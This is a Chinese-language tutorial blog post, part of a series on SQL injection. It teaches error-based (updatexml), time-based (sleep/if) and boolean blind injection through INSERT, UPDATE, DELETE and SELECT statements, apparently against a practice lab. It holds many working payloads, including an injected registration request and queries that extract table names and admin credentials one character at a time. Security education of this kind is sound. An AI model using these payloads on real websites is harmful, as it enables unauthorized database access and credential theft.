SQL注入之查询方式以及报错盲注(五)

补充知识点:

上一篇Access偏移注入:解决列名获取不到的情况
查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况
参考笔记:https://www.fujieace.com/penetration-test/access-offset-injection.html

SQL语句盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

1、基于布尔的sQL盲注-逻辑判断 regexp, like , ascii,left, ord , mid
2、基于时间的sQL盲注-延时判断 if ,sleep
3、基于报错的sQL盲注-报错回显 floor, updatexml, extractvalue

参考地址:https://www.jianshu.com/p/bc35f8dd4f7c https://developer.aliyun.com/article/692723

首先了解下updatexml()函数1

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

SQL语句类型

Select查询数据类型

样例:在网站应用中进行数据显示查询操作
 select * from news where id=$id

这种类型之前接触的一直都是这种select查询,只是调用数据库种的数据进行显示,并不造成变化。

一般就是平时的显示页面都是select,前面的基本都是页面注入,所以都是Select类型,看源码就知道。

Insert插入数据类型

样例:在网站应用中进行用户注册添加等操作
 insert into news (id, url,text) values ( 2,’x’,’$t’)

Insert1

在某注册页面,提交信息后抓包,再数据里进行报错盲注。

'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

然后加到usename后面:

username=Drton1'or updatexml(1,concat(0x7e,database(),0x7e),0) or'&password=ddd&sex=%E7%94%B7&phonenum=121&email=%E6%B2%B3%E5%8D%97&add=%E5%B9%BF%E8%A5%BF&submit=submit

Insert2

爆出数据库名称,同样的如果这里把

'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

database()换成user(),或者version() 获得的信息也不一样。

那么稍加修改就可以构造出 获得表名的语句:

1’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’)),1) or’

后面不在演示,知道这个原理就得 。

I3

看源码这是Insert,而不是select,所以如果用之前那种常规联合查询是没用的。

update插入数据类型

在个人数据更新处常见此类型漏洞。

i4

进行修改信息:

i5

发送到repeter模块当中,修改数据包

'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

原理跟insert基本一致,只不过源码一个insert 一个updata。

i6

delete删除数据类型

在一些删除文章,删除留言等地方常见这种注入。

D1

57+and+updatexml(1,concat(0x7e,(database())),0x7e) 
且在BurpSuite中Ctrl+U 对payload进行url编码

D2

成功爆出数据库名称。

SQL时间盲注

参考:
like 'ros'									#判断ro或ro...是否成立
regexp '^xiaodi [a-z]'			#匹配xiaodi及xiaodi...等if(条件,5,0)
sleep (5)										#sQL语句延时执行s秒
mid (a, b, c)								#从位置b开始,截取a字符串的c位
substr( a,b, c)							#从b位置开始,截取字符串a的c长度
left (database(),1), database() #left(a,b)从左侧截取a的前b位
length(database ())=8				#判断数据库database ()名的长度
ord=ascii ascii(x)=97 			#判断x的ascii码是否等于97

这个很好理解看例子就好:

sleep语句

mysql> select * from member where id=1;
+----+----------+----------------------------------+-------+----------+---------+--------+
| id | username | pw                               | sex   | phonenum | address | email  |
+----+----------+----------------------------------+-------+----------+---------+--------+
|  1 | vince    | e10adc3949ba59abbe56e057f20f883e | admin | asdasd   | 四川    | 成都   |
+----+----------+----------------------------------+-------+----------+---------+--------+
1 row in set (0.00 sec)
mysql>
mysql> select * from member where id=1 and sleep(5);
Empty set (5.00 sec)

mysql>

这个就是延时,sleep(5)就是延时5秒。

if语句

mysql> select if(database()='pikachu',123,456);
+----------------------------------+
| if(database()='pikachu',123,456) |
+----------------------------------+
|                              123 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select if(database()='test',123,456);
+-------------------------------+
| if(database()='test',123,456) |
+-------------------------------+
|                           456 |
+-------------------------------+
1 row in set (0.00 sec)

mysql>

这个if就是三目运算符,比如这个例子,如果数据库名叫’pikuchu’就返回123,结果当前数据库确实是这个,所以为真就返回了123,如果假的就返回456。

if+sleep的搭配

mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0));
Empty set (5.00 sec)

mysql>

仔细观察语句,如果为真变成了延时5s,假就是0s,一样的意思。

语句的意思就是如果数据是pikachu就延迟5秒输出,不是的话就立即返回,但是在实际渗透过程中由于受到网络的影响时间注入不是很靠谱,但是可以加大延时时间,就那个5,你加的足够大,那绝对是有区别的好吧。

if+sleep+mid的搭配

判断数据库名称是不是以p开头如果是的话就延迟五秒输出
mysql> select database();
+------------+
| database() |
+------------+
| pikachu    |
+------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
Empty set (5.00 sec)

如果要判断第二位就把1,1改为1,2  就是从第一位开始的第二个字母。

布尔盲注

布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

mid(str,start,length)  :字符串截取
ORD()                  :转换成ascii码
Length()               :统计长度
version()              :查看数据库版本
database()             :查看当前数据库名
user()                 :查看当前用户

想一下,如果你执行任何语句他只会告诉真或假,那么我们要获得数据库名怎么获取? 难道一个一个排列组合然后全放进去让他判断?那一辈子也整不出来。

猜解获取数据库长度

我们可以先猜数据库名字长度:

' or length(database()) > 8 --+    :符合条件返回正确,反之返回错误

通过改变这个数字,一直猜,最终可以猜到数据库名字的长度

知道数据库长度了,那接下来就一个一个猜,先猜第一位,再猜第二位这样,因为数据库每个字符就那24个字母,一个一个带进去进行判断,返回真的那个字母就是数据库第一位字符

猜解数据库名

'or mid(database(),1,1)= 'z' --+    :因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名

第一位猜出来之后继续下一位。

实战推荐使用ascll码 因为引号容易被转义 依次替换0 -127 更方便 开发工具更简单。

库名知道了,还不知道库下有几个表,所以要先猜表的个数

猜解表的个数

'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+   :判断表的总数

那个数字就是表的个数,不断地改变,最终猜出表的个数。

个数知道了,又回到上面的流程,猜 表名 猜字段 猜内容,原理都是一样的,这要是手工注入,要死人!辛亏有sqlmap 脚本小子狂喜。

猜解第一个表名

'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit      0,1 ),1,1) = 'a'  --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA = database() limit 0,1),1,1)) >100   --+

猜解表的字段个数

'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+

猜解第一个字段长度

'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)

猜解第一个字段名或者直接猜测

'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+

直接猜测:

' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+

猜解内容长度

假如已经知道字段名为  id   username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16  --+

猜解内容或者直接猜测

'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+    ASCII码猜解

直接猜测

'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'   --+

总之就是一个字,猜,然后看他给你的回显 验证猜的对还是不对。这些知道原理是这样就行,语句不用研究,有工具,知道原理思路就好。

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论